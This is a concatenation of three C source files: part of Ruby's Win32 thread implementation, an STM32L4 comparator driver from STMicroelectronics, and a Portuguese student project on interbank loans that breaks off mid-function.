static int native_mutex_unlock(rb_thread_lock_t *);
static int native_mutex_trylock(rb_thread_lock_t *);
static void native_mutex_initialize(rb_thread_lock_t *);
static void native_cond_signal(rb_thread_cond_t *cond);
static void native_cond_broadcast(rb_thread_cond_t *cond);
static void native_cond_wait(rb_thread_cond_t *cond, rb_thread_lock_t *mutex);
static void native_cond_initialize(rb_thread_cond_t *cond);
static void native_cond_destroy(rb_thread_cond_t *cond);
static rb_thread_t *
ruby_thread_from_native(void)
{
return TlsGetValue(ruby_native_thread_key);
}
static int
ruby_thread_set_native(rb_thread_t *th)
{
return TlsSetValue(ruby_native_thread_key, th);
}
void
Init_native_thread(void)
{
rb_thread_t *th = GET_THREAD();
ruby_native_thread_key = TlsAlloc();
ruby_thread_set_native(th);
DuplicateHandle(GetCurrentProcess(),
GetCurrentThread(),
GetCurrentProcess(),
&th->thread_id, 0, FALSE, DUPLICATE_SAME_ACCESS);
th->native_thread_data.interrupt_event = CreateEvent(0, TRUE, FALSE, 0);
thread_debug("initial thread (th: %p, thid: %p, event: %p)\n",
th, GET_THREAD()->thread_id,
th->native_thread_data.interrupt_event);
}
static void
w32_error(const char *func)
{
LPVOID lpMsgBuf;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) & lpMsgBuf, 0, NULL);
rb_bug("%s: %s", func, (char*)lpMsgBuf);
}
static void
w32_set_event(HANDLE handle)
{
if (SetEvent(handle) == 0) {
w32_error("w32_set_event");
}
}
static void
w32_reset_event(HANDLE handle)
{
if (ResetEvent(handle) == 0) {
w32_error("w32_reset_event");
}
}
static int
w32_wait_events(HANDLE *events, int count, DWORD timeout, rb_thread_t *th)
{
HANDLE *targets = events;
HANDLE intr;
DWORD ret;
thread_debug(" w32_wait_events events:%p, count:%d, timeout:%ld, th:%p\n",
events, count, timeout, th);
if (th && (intr = th->native_thread_data.interrupt_event)) {
native_mutex_lock(&th->vm->global_vm_lock);
if (intr == th->native_thread_data.interrupt_event) {
w32_reset_event(intr);
if (RUBY_VM_INTERRUPTED(th)) {
w32_set_event(intr);
}
targets = ALLOCA_N(HANDLE, count + 1);
memcpy(targets, events, sizeof(HANDLE) * count);
targets[count++] = intr;
thread_debug(" * handle: %p (count: %d, intr)\n", intr, count);
}
native_mutex_unlock(&th->vm->global_vm_lock);
}
thread_debug(" WaitForMultipleObjects start (count: %d)\n", count);
ret = WaitForMultipleObjects(count, targets, FALSE, timeout);
thread_debug(" WaitForMultipleObjects end (ret: %lu)\n", ret);
if (ret == WAIT_OBJECT_0 + count - 1 && th) {
errno = EINTR;
}
if (ret == -1 && THREAD_DEBUG) {
int i;
DWORD dmy;
for (i = 0; i < count; i++) {
thread_debug(" * error handle %d - %s\n", i,
GetHandleInformation(targets[i], &dmy) ? "OK" : "NG");
}
}
return ret;
}
static void ubf_handle(void *ptr);
#define ubf_select ubf_handle
int
rb_w32_wait_events_blocking(HANDLE *events, int num, DWORD timeout)
{
return w32_wait_events(events, num, timeout, GET_THREAD());
}
int
rb_w32_wait_events(HANDLE *events, int num, DWORD timeout)
{
int ret;
BLOCKING_REGION(ret = rb_w32_wait_events_blocking(events, num, timeout),
ubf_handle, GET_THREAD());
return ret;
}
static void
w32_close_handle(HANDLE handle)
{
if (CloseHandle(handle) == 0) {
w32_error("w32_close_handle");
}
}
static void
w32_resume_thread(HANDLE handle)
{
if (ResumeThread(handle) == -1) {
w32_error("w32_resume_thread");
}
}
#ifdef _MSC_VER
#define HAVE__BEGINTHREADEX 1
#else
#undef HAVE__BEGINTHREADEX
#endif
#ifdef HAVE__BEGINTHREADEX
#define start_thread (HANDLE)_beginthreadex
#define thread_errno errno
typedef unsigned long (_stdcall *w32_thread_start_func)(void*);
#else
#define start_thread CreateThread
#define thread_errno rb_w32_map_errno(GetLastError())
typedef LPTHREAD_START_ROUTINE w32_thread_start_func;
#endif
static HANDLE
w32_create_thread(DWORD stack_size, w32_thread_start_func func, void *val)
{
return start_thread(0, stack_size, func, val, CREATE_SUSPENDED, 0);
}
int
rb_w32_sleep(unsigned long msec)
{
return w32_wait_events(0, 0, msec, GET_THREAD());
}
int WINAPI
rb_w32_Sleep(unsigned long msec)
{
int ret;
BLOCKING_REGION(ret = rb_w32_sleep(msec),
ubf_handle, GET_THREAD());
return ret;
}
static void
native_sleep(rb_thread_t *th, struct timeval *tv)
{
DWORD msec;
if (tv) {
msec = tv->tv_sec * 1000 + tv->tv_usec / 1000;
}
else {
msec = INFINITE;
}
GVL_UNLOCK_BEGIN();
{
DWORD ret;
native_mutex_lock(&th->interrupt_lock);
th->unblock.func = ubf_handle;
th->unblock.arg = th;
native_mutex_unlock(&th->interrupt_lock);
if (RUBY_VM_INTERRUPTED(th)) {
/* interrupted. return immediate */
}
else {
thread_debug("native_sleep start (%lu)\n", msec);
ret = w32_wait_events(0, 0, msec, th);
thread_debug("native_sleep done (%lu)\n", ret);
}
native_mutex_lock(&th->interrupt_lock);
th->unblock.func = 0;
th->unblock.arg = 0;
native_mutex_unlock(&th->interrupt_lock);
}
GVL_UNLOCK_END();
}
static int
native_mutex_lock(rb_thread_lock_t *lock)
{
#if USE_WIN32_MUTEX
DWORD result;
while (1) {
thread_debug("native_mutex_lock: %p\n", *lock);
result = w32_wait_events(&*lock, 1, INFINITE, 0);
switch (result) {
case WAIT_OBJECT_0:
/* get mutex object */
thread_debug("acquire mutex: %p\n", *lock);
return 0;
case WAIT_OBJECT_0 + 1:
/* interrupt */
errno = EINTR;
thread_debug("acquire mutex interrupted: %p\n", *lock);
return 0;
case WAIT_TIMEOUT:
thread_debug("timeout mutex: %p\n", *lock);
break;
case WAIT_ABANDONED:
rb_bug("win32_mutex_lock: WAIT_ABANDONED");
break;
default:
rb_bug("win32_mutex_lock: unknown result (%d)", result);
break;
}
}
return 0;
#else
EnterCriticalSection(lock);
return 0;
#endif
}
static int
native_mutex_unlock(rb_thread_lock_t *lock)
{
#if USE_WIN32_MUTEX
thread_debug("release mutex: %p\n", *lock);
return ReleaseMutex(*lock);
#else
LeaveCriticalSection(lock);
return 0;
#endif
}
static int
native_mutex_trylock(rb_thread_lock_t *lock)
{
#if USE_WIN32_MUTEX
int result;
thread_debug("native_mutex_trylock: %p\n", *lock);
result = w32_wait_events(&*lock, 1, 1, 0);
thread_debug("native_mutex_trylock result: %d\n", result);
switch (result) {
case WAIT_OBJECT_0:
return 0;
case WAIT_TIMEOUT:
return EBUSY;
}
return EINVAL;
#else
return TryEnterCriticalSection(lock) == 0;
#endif
}
static void
native_mutex_initialize(rb_thread_lock_t *lock)
{
#if USE_WIN32_MUTEX
*lock = CreateMutex(NULL, FALSE, NULL);
if (*lock == NULL) {
w32_error("native_mutex_initialize");
}
/* thread_debug("initialize mutex: %p\n", *lock); */
#else
InitializeCriticalSection(lock);
#endif
}
#define native_mutex_reinitialize_atfork(lock) (void)(lock)
static void
native_mutex_destroy(rb_thread_lock_t *lock)
{
#if USE_WIN32_MUTEX
w32_close_handle(lock);
#else
DeleteCriticalSection(lock);
#endif
}
struct cond_event_entry {
struct cond_event_entry* next;
HANDLE event;
};
struct rb_thread_cond_struct {
struct cond_event_entry *next;
struct cond_event_entry *last;
};
static void
native_cond_signal(rb_thread_cond_t *cond)
{
/* cond is guarded by mutex */
struct cond_event_entry *e = cond->next;
if (e) {
cond->next = e->next;
SetEvent(e->event);
}
else {
rb_bug("native_cond_signal: no pending threads");
}
}
static void
native_cond_broadcast(rb_thread_cond_t *cond)
{
/* cond is guarded by mutex */
struct cond_event_entry *e = cond->next;
cond->next = 0;
while (e) {
SetEvent(e->event);
e = e->next;
}
}
static void
native_cond_wait(rb_thread_cond_t *cond, rb_thread_lock_t *mutex)
{
DWORD r;
struct cond_event_entry entry;
entry.next = 0;
entry.event = CreateEvent(0, FALSE, FALSE, 0);
/* cond is guarded by mutex */
if (cond->next) {
cond->last->next = &entry;
cond->last = &entry;
}
else {
cond->next = &entry;
cond->last = &entry;
}
native_mutex_unlock(mutex);
{
r = WaitForSingleObject(entry.event, INFINITE);
if (r != WAIT_OBJECT_0) {
rb_bug("native_cond_wait: WaitForSingleObject returns %lu", r);
}
}
native_mutex_lock(mutex);
w32_close_handle(entry.event);
}
static void
native_cond_initialize(rb_thread_cond_t *cond)
{
cond->next = 0;
cond->last = 0;
}
static void
native_cond_destroy(rb_thread_cond_t *cond)
{
/* */
}
void
ruby_init_stack(volatile VALUE *addr)
{
}
#define CHECK_ERR(expr) \
{if (!(expr)) {rb_bug("err: %lu - %s", GetLastError(), #expr);}}
static void
native_thread_init_stack(rb_thread_t *th)
{
MEMORY_BASIC_INFORMATION mi;
char *base, *end;
DWORD size, space;
CHECK_ERR(VirtualQuery(&mi, &mi, sizeof(mi)));
base = mi.AllocationBase;
end = mi.BaseAddress;
end += mi.RegionSize;
size = end - base;
space = size / 5;
if (space > 1024*1024) space = 1024*1024;
th->machine_stack_start = (VALUE *)end - 1;
th->machine_stack_maxsize = size - space;
}
#ifndef InterlockedExchangePointer
#define InterlockedExchangePointer(t, v) \
(void *)InterlockedExchange((long *)(t), (long)(v))
#endif
static void
native_thread_destroy(rb_thread_t *th)
{
HANDLE intr = InterlockedExchangePointer(&th->native_thread_data.interrupt_event, 0);
native_mutex_destroy(&th->interrupt_lock);
thread_debug("close handle - intr: %p, thid: %p\n", intr, th->thread_id);
w32_close_handle(intr);
}
static unsigned long _stdcall
thread_start_func_1(void *th_ptr)
{
rb_thread_t *th = th_ptr;
volatile HANDLE thread_id = th->thread_id;
native_thread_init_stack(th);
th->native_thread_data.interrupt_event = CreateEvent(0, TRUE, FALSE, 0);
/* run */
thread_debug("thread created (th: %p, thid: %p, event: %p)\n", th,
th->thread_id, th->native_thread_data.interrupt_event);
thread_start_func_2(th, th->machine_stack_start, rb_ia64_bsp());
w32_close_handle(thread_id);
thread_debug("thread deleted (th: %p)\n", th);
return 0;
}
static int
native_thread_create(rb_thread_t *th)
{
size_t stack_size = 4 * 1024; /* 4KB */
th->thread_id = w32_create_thread(stack_size, thread_start_func_1, th);
if ((th->thread_id) == 0) {
return thread_errno;
}
w32_resume_thread(th->thread_id);
if (THREAD_DEBUG) {
Sleep(0);
thread_debug("create: (th: %p, thid: %p, intr: %p), stack size: %d\n",
th, th->thread_id,
th->native_thread_data.interrupt_event, stack_size);
}
return 0;
}
static void
native_thread_join(HANDLE th)
{
w32_wait_events(&th, 1, INFINITE, 0);
}
#if USE_NATIVE_THREAD_PRIORITY
static void
native_thread_apply_priority(rb_thread_t *th)
{
int priority = th->priority;
if (th->priority > 0) {
priority = THREAD_PRIORITY_ABOVE_NORMAL;
}
else if (th->priority < 0) {
priority = THREAD_PRIORITY_BELOW_NORMAL;
}
else {
priority = THREAD_PRIORITY_NORMAL;
}
SetThreadPriority(th->thread_id, priority);
}
#endif /* USE_NATIVE_THREAD_PRIORITY */
static void
ubf_handle(void *ptr)
{
rb_thread_t *th = (rb_thread_t *)ptr;
thread_debug("ubf_handle: %p\n", th);
w32_set_event(th->native_thread_data.interrupt_event);
}
static HANDLE timer_thread_id = 0;
static HANDLE timer_thread_lock;
static unsigned long _stdcall
timer_thread_func(void *dummy)
{
thread_debug("timer_thread\n");
while (WaitForSingleObject(timer_thread_lock, WIN32_WAIT_TIMEOUT) ==
WAIT_TIMEOUT) {
timer_thread_function(dummy);
}
thread_debug("timer killed\n");
return 0;
}
static void
rb_thread_create_timer_thread(void)
{
if (timer_thread_id == 0) {
if (!timer_thread_lock) {
timer_thread_lock = CreateEvent(0, TRUE, FALSE, 0);
}
timer_thread_id = w32_create_thread(1024 + (THREAD_DEBUG ? BUFSIZ : 0),
timer_thread_func, 0);
w32_resume_thread(timer_thread_id);
}
}
static int
native_stop_timer_thread(void)
{
int stopped = --system_working <= 0;
if (stopped) {
SetEvent(timer_thread_lock);
native_thread_join(timer_thread_id);
CloseHandle(timer_thread_lock);
timer_thread_lock = 0;
}
return stopped;
}
static void
native_reset_timer_thread(void)
{
if (timer_thread_id) {
CloseHandle(timer_thread_id);
timer_thread_id = 0;
}
}
#endif /* THREAD_SYSTEM_DEPENDENT_IMPLEMENTATION */
|
the_stack_data/178266092.c
|
/**
******************************************************************************
* @file stm32l4xx_ll_comp.c
* @author MCD Application Team
* @version V1.7.0
* @date 17-February-2017
* @brief COMP LL module driver
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2017 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32l4xx_ll_comp.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32L4xx_LL_Driver
* @{
*/
#if defined (COMP1) || defined (COMP2)
/** @addtogroup COMP_LL COMP
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup COMP_LL_Private_Macros
* @{
*/
/* Check of parameters for configuration of COMP hierarchical scope: */
/* COMP instance. */
#define IS_LL_COMP_POWER_MODE(__POWER_MODE__) \
( ((__POWER_MODE__) == LL_COMP_POWERMODE_HIGHSPEED) \
|| ((__POWER_MODE__) == LL_COMP_POWERMODE_MEDIUMSPEED) \
|| ((__POWER_MODE__) == LL_COMP_POWERMODE_ULTRALOWPOWER) \
)
/* Note: On this STM32 serie, comparator input plus parameters are */
/* the same on all COMP instances. */
/* However, comparator instance kept as macro parameter for */
/* compatibility with other STM32 families. */
#if defined(COMP_CSR_INPSEL_1)
#define IS_LL_COMP_INPUT_PLUS(__COMP_INSTANCE__, __INPUT_PLUS__) \
( ((__INPUT_PLUS__) == LL_COMP_INPUT_PLUS_IO1) \
|| ((__INPUT_PLUS__) == LL_COMP_INPUT_PLUS_IO2) \
|| ((__INPUT_PLUS__) == LL_COMP_INPUT_PLUS_IO3) \
)
#else
#define IS_LL_COMP_INPUT_PLUS(__COMP_INSTANCE__, __INPUT_PLUS__) \
( ((__INPUT_PLUS__) == LL_COMP_INPUT_PLUS_IO1) \
|| ((__INPUT_PLUS__) == LL_COMP_INPUT_PLUS_IO2) \
)
#endif
/* Note: On this STM32 serie, comparator input minus parameters are */
/* the same on all COMP instances. */
/* However, comparator instance kept as macro parameter for */
/* compatibility with other STM32 families. */
#if defined(COMP_CSR_INMESEL_1) && defined(DAC_CHANNEL2_SUPPORT)
#define IS_LL_COMP_INPUT_MINUS(__COMP_INSTANCE__, __INPUT_MINUS__) \
( ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_1_4VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_1_2VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_3_4VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_DAC1_CH1) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_DAC1_CH2) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO1) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO2) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO3) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO4) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO5) \
)
#elif defined(COMP_CSR_INMESEL_1)
#define IS_LL_COMP_INPUT_MINUS(__COMP_INSTANCE__, __INPUT_MINUS__) \
( ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_1_4VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_1_2VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_3_4VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_DAC1_CH1) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO1) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO2) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO3) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO4) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO5) \
)
#elif defined(DAC_CHANNEL2_SUPPORT)
#define IS_LL_COMP_INPUT_MINUS(__COMP_INSTANCE__, __INPUT_MINUS__) \
( ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_1_4VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_1_2VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_3_4VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_DAC1_CH1) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_DAC1_CH2) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO1) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO2) \
)
#else
#define IS_LL_COMP_INPUT_MINUS(__COMP_INSTANCE__, __INPUT_MINUS__) \
( ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_1_4VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_1_2VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_3_4VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_VREFINT) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_DAC1_CH1) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO1) \
|| ((__INPUT_MINUS__) == LL_COMP_INPUT_MINUS_IO2) \
)
#endif
#define IS_LL_COMP_INPUT_HYSTERESIS(__INPUT_HYSTERESIS__) \
( ((__INPUT_HYSTERESIS__) == LL_COMP_HYSTERESIS_NONE) \
|| ((__INPUT_HYSTERESIS__) == LL_COMP_HYSTERESIS_LOW) \
|| ((__INPUT_HYSTERESIS__) == LL_COMP_HYSTERESIS_MEDIUM) \
|| ((__INPUT_HYSTERESIS__) == LL_COMP_HYSTERESIS_HIGH) \
)
#define IS_LL_COMP_OUTPUT_POLARITY(__POLARITY__) \
( ((__POLARITY__) == LL_COMP_OUTPUTPOL_NONINVERTED) \
|| ((__POLARITY__) == LL_COMP_OUTPUTPOL_INVERTED) \
)
#define IS_LL_COMP_OUTPUT_BLANKING_SOURCE(__OUTPUT_BLANKING_SOURCE__) \
( ((__OUTPUT_BLANKING_SOURCE__) == LL_COMP_BLANKINGSRC_NONE) \
|| ((__OUTPUT_BLANKING_SOURCE__) == LL_COMP_BLANKINGSRC_TIM1_OC5_COMP1) \
|| ((__OUTPUT_BLANKING_SOURCE__) == LL_COMP_BLANKINGSRC_TIM2_OC3_COMP1) \
|| ((__OUTPUT_BLANKING_SOURCE__) == LL_COMP_BLANKINGSRC_TIM3_OC3_COMP1) \
|| ((__OUTPUT_BLANKING_SOURCE__) == LL_COMP_BLANKINGSRC_TIM3_OC4_COMP2) \
|| ((__OUTPUT_BLANKING_SOURCE__) == LL_COMP_BLANKINGSRC_TIM8_OC5_COMP2) \
|| ((__OUTPUT_BLANKING_SOURCE__) == LL_COMP_BLANKINGSRC_TIM15_OC1_COMP2) \
)
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup COMP_LL_Exported_Functions
* @{
*/
/** @addtogroup COMP_LL_EF_Init
* @{
*/
/**
* @brief De-initialize registers of the selected COMP instance
* to their default reset values.
* @note If comparator is locked, de-initialization by software is
* not possible.
* The only way to unlock the comparator is a device hardware reset.
* @param COMPx COMP instance
* @retval An ErrorStatus enumeration value:
* - SUCCESS: COMP registers are de-initialized
* - ERROR: COMP registers are not de-initialized
*/
ErrorStatus LL_COMP_DeInit(COMP_TypeDef *COMPx)
{
ErrorStatus status = SUCCESS;
/* Check the parameters */
assert_param(IS_COMP_ALL_INSTANCE(COMPx));
/* Note: Hardware constraint (refer to description of this function): */
/* COMP instance must not be locked. */
if(LL_COMP_IsLocked(COMPx) == 0U)
{
LL_COMP_WriteReg(COMPx, CSR, 0x00000000U);
}
else
{
/* Comparator instance is locked: de-initialization by software is */
/* not possible. */
/* The only way to unlock the comparator is a device hardware reset. */
status = ERROR;
}
return status;
}
/**
* @brief Initialize some features of COMP instance.
* @note This function configures features of the selected COMP instance.
* Some features are also available at scope COMP common instance
* (common to several COMP instances).
* Refer to functions having argument "COMPxy_COMMON" as parameter.
* @param COMPx COMP instance
* @param COMP_InitStruct Pointer to a @ref LL_COMP_InitTypeDef structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: COMP registers are initialized
* - ERROR: COMP registers are not initialized
*/
ErrorStatus LL_COMP_Init(COMP_TypeDef *COMPx, LL_COMP_InitTypeDef *COMP_InitStruct)
{
ErrorStatus status = SUCCESS;
/* Check the parameters */
assert_param(IS_COMP_ALL_INSTANCE(COMPx));
assert_param(IS_LL_COMP_POWER_MODE(COMP_InitStruct->PowerMode));
assert_param(IS_LL_COMP_INPUT_PLUS(COMPx, COMP_InitStruct->InputPlus));
assert_param(IS_LL_COMP_INPUT_MINUS(COMPx, COMP_InitStruct->InputMinus));
assert_param(IS_LL_COMP_INPUT_HYSTERESIS(COMP_InitStruct->InputHysteresis));
assert_param(IS_LL_COMP_OUTPUT_POLARITY(COMP_InitStruct->OutputPolarity));
assert_param(IS_LL_COMP_OUTPUT_BLANKING_SOURCE(COMP_InitStruct->OutputBlankingSource));
/* Note: Hardware constraint (refer to description of this function) */
/* COMP instance must not be locked. */
if(LL_COMP_IsLocked(COMPx) == 0U)
{
/* Configuration of comparator instance : */
/* - PowerMode */
/* - InputPlus */
/* - InputMinus */
/* - InputHysteresis */
/* - OutputPolarity */
/* - OutputBlankingSource */
#if defined(COMP_CSR_INMESEL_1)
MODIFY_REG(COMPx->CSR,
COMP_CSR_PWRMODE
| COMP_CSR_INPSEL
| COMP_CSR_SCALEN
| COMP_CSR_BRGEN
| COMP_CSR_INMESEL
| COMP_CSR_INMSEL
| COMP_CSR_HYST
| COMP_CSR_POLARITY
| COMP_CSR_BLANKING
,
COMP_InitStruct->PowerMode
| COMP_InitStruct->InputPlus
| COMP_InitStruct->InputMinus
| COMP_InitStruct->InputHysteresis
| COMP_InitStruct->OutputPolarity
| COMP_InitStruct->OutputBlankingSource
);
#else
MODIFY_REG(COMPx->CSR,
COMP_CSR_PWRMODE
| COMP_CSR_INPSEL
| COMP_CSR_SCALEN
| COMP_CSR_BRGEN
| COMP_CSR_INMSEL
| COMP_CSR_HYST
| COMP_CSR_POLARITY
| COMP_CSR_BLANKING
,
COMP_InitStruct->PowerMode
| COMP_InitStruct->InputPlus
| COMP_InitStruct->InputMinus
| COMP_InitStruct->InputHysteresis
| COMP_InitStruct->OutputPolarity
| COMP_InitStruct->OutputBlankingSource
);
#endif
}
else
{
/* Initialization error: COMP instance is locked. */
status = ERROR;
}
return status;
}
/**
* @brief Set each @ref LL_COMP_InitTypeDef field to default value.
* @param COMP_InitStruct: pointer to a @ref LL_COMP_InitTypeDef structure
* whose fields will be set to default values.
* @retval None
*/
void LL_COMP_StructInit(LL_COMP_InitTypeDef *COMP_InitStruct)
{
/* Set COMP_InitStruct fields to default values */
COMP_InitStruct->PowerMode = LL_COMP_POWERMODE_ULTRALOWPOWER;
COMP_InitStruct->InputPlus = LL_COMP_INPUT_PLUS_IO1;
COMP_InitStruct->InputMinus = LL_COMP_INPUT_MINUS_VREFINT;
COMP_InitStruct->InputHysteresis = LL_COMP_HYSTERESIS_NONE;
COMP_InitStruct->OutputPolarity = LL_COMP_OUTPUTPOL_NONINVERTED;
COMP_InitStruct->OutputBlankingSource = LL_COMP_BLANKINGSRC_NONE;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* COMP1 || COMP2 */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/153268337.c
|
/* Projecto 1 */
/* Grupo 43 */
/* 81115 Rodrigo Lousada */
/* 81538 Joao Pedrosa */
/* 81525 Carlos Tejedor */
/* Bibliotecas */
#include <stdio.h>
#include <stdlib.h>
/* Constantes */
#define BOM 1
#define MAU 0
#define MAX_REG_BANCOS 1000
#define MAX_NOME 41
/* Definicao do tipo banco */
typedef struct {
char nome[MAX_NOME];
int classificacao;
int ref;
int inP;
int outP;
int outV;
int outVM;
int inV;
int inVM;
int parceiros;
} bank;
/* Prototipos */
void add_new_bank();
void rating(int class, int referencia);
void add_emprestimo();
void amort_emprestimo();
void emite_listagem();
void despromover();
int procura_indice(int referencia);
int count_bancos_bons();
/* Inicializacao de Variaveis Globais */
int rede[MAX_REG_BANCOS][MAX_REG_BANCOS];
bank bancos[MAX_REG_BANCOS];
int contador_bancos = 0;
/* Funcao MAIN */
int main() {
char command;
int referencia;
while (1) {
command = getchar();
switch (command) {
case 'a':
add_new_bank();
break;
case 'k':
scanf(" %d", &referencia);
rating(MAU, referencia);
break;
case 'r':
scanf(" %d", &referencia);
rating(BOM, referencia);
break;
case 'e':
add_emprestimo();
break;
case 'p':
amort_emprestimo();
break;
case 'l':
emite_listagem();
break;
case 'K':
despromover();
break;
case 'x':
printf("%d %d\n", contador_bancos, count_bancos_bons());
return EXIT_SUCCESS;
default:
printf("ERRO: Comando desconhecido\n");
}
getchar();
}
return EXIT_FAILURE;
}
/* Funcoes Auxiliares */
int procura_indice(int referencia)
{
int i;
for (i = 0; i < contador_bancos; i++) {
if (referencia == bancos[i].ref)
return i;
}
return EXIT_FAILURE;
}
int count_bancos_bons()
{
int bons = 0, i;
for (i = 0; i < contador_bancos; i++) {
if (bancos[i].classificacao == BOM)
bons++;
}
return bons;
}
/* Funcoes Pedidas */
void add_new_bank()
{
/* Esta funcao adiciona um novo banco ao sistema ligando-o na rede aos outros ja existentes, sendo associada ao comando a */
int i, j;
for (i = 0; i <= contador_bancos; i++)
rede[i][contador_bancos] = 0;
for (j = 0; j < contador_bancos; j++)
rede[contador_bancos][j] = 0;
scanf(" %s %d %d", bancos[contador_bancos].nome, &bancos[contador_bancos].classificacao, &bancos[contador_bancos].ref);
contador_bancos++;
}
void rating(int class, int referencia)
{
/* Esta funcao classifica o banco da referencia dada como bom ou mau dependendo da variavel class que recebe, sendo associada aos comandos k, r, K */
int indice, i;
indice = procura_indice(referencia);
if (class == MAU) {
bancos[indice].classificacao = MAU;
for (i = 0; i < contador_bancos; i++) {
if (rede[i][indice] != 0)
bancos[i].outVM = bancos[i].outVM + rede[i][indice];
if (rede[indice][i] != 0)
bancos[i].inVM = bancos[i].inVM + rede[indice][i];
}
}
else {
bancos[indice].classificacao = BOM;
for (i = 0; i < contador_bancos; i++) {
if (rede[i][indice] != 0)
bancos[i].outVM = bancos[i].outVM - rede[i][indice];
if (rede[indice][i] != 0)
bancos[i].inVM = bancos[i].inVM - rede[indice][i];
}
}
}
void add_emprestimo()
{
/* Esta funcao adiciona um emprestimo, sendo associada ao comando e */
int ref1, ref2, valor, i1, i2;
scanf(" %d %d %d", &ref1, &ref2, &valor);
i1 = procura_indice(ref1);
i2 = procura_indice(ref2);
if (rede[i1][i2]==0){
bancos[i2].inP++;
bancos[i1].outP++;
}
bancos[i2].inV = bancos[i2].inV + valor;
bancos[i1].outV = bancos[i1].outV + valor;
if (bancos[i2].classificacao == MAU)
bancos[i1].outVM = bancos[i1].outVM + valor;
if (bancos[i1].classificacao == MAU)
bancos[i2].inVM = bancos[i2].inVM + valor;
rede[i1][i2] = rede[i1][i2] + valor;
}
void amort_emprestimo()
{
/* Esta funcao amortiza um emprestimo reduzindo a divida por parte dum banco, sendo associada ao comando p */
